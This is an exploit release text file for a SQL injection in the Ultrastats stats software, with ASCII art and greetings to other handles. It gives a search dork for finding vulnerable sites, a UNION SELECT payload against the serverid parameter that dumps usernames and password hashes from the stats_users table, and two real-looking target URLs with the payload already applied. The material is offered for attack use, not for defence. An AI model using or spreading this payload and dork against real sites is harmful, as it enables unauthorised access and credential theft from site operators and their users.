ultrastats-sql.txt

`   
#########  
#############  
#################  
####################  
####` `####` `####  
#####||| |||#####  
######||| |||######  
#######||| ||##|| |||#######  
#######||||||##||||||#######  
############################  
###########################  
######+++++++++++######  
#++++++++++++#  
___#++++++++++++#  
_| #++++++++++++|___  
| ++++++++ |  
|_ ++ _|  
|_________+________|  
########################################################################################################  
# Ultrastats exploit by eeee eeee e e #  
# --------------------> 8 8 8 8 #   
# 8eee 8eee 8eee8e #  
# 88 88 88 8 #  
# 88ee 88ee 88 8 ---> mail: [email protected] #  
########################################################################################################  
# -> Greetz to: #  
# th0br0,magicwolf,_d4vid,ekaF,psychobarbie,d3hydr8,modda,#chaostreffpunkt #  
########################################################################################################  
# -> Ultrastats all Versions?! Sql Injection #  
# (Version 0.3.11 & 0.2.144 tested) #  
########################################################################################################  
# -> Dork: inurl:"index.php?serverid=" #  
########################################################################################################  
# -> Injection: #  
# Querry -> index.php?serverid=2+union+select+0,1,concat(username,0x3a,password),3+from+stats_users-- #  
# and watch the Source ;) #  
# #  
# -> Example: #  
# -> v. 0.3.11: #  
# ##  
# http://cod2demo.ultrastats.org/index.php?serverid=2+union+select+0,1,concat(username,0x3a,password),3+from+stats_users--  
#  
# -> v. 0.2.144:   
#  
# http://www.ultrastats.x2server4u.de/index.php?serverid=6+union+select+0,1,concat(username,0x3a,password),3+from+stats_users--  
##`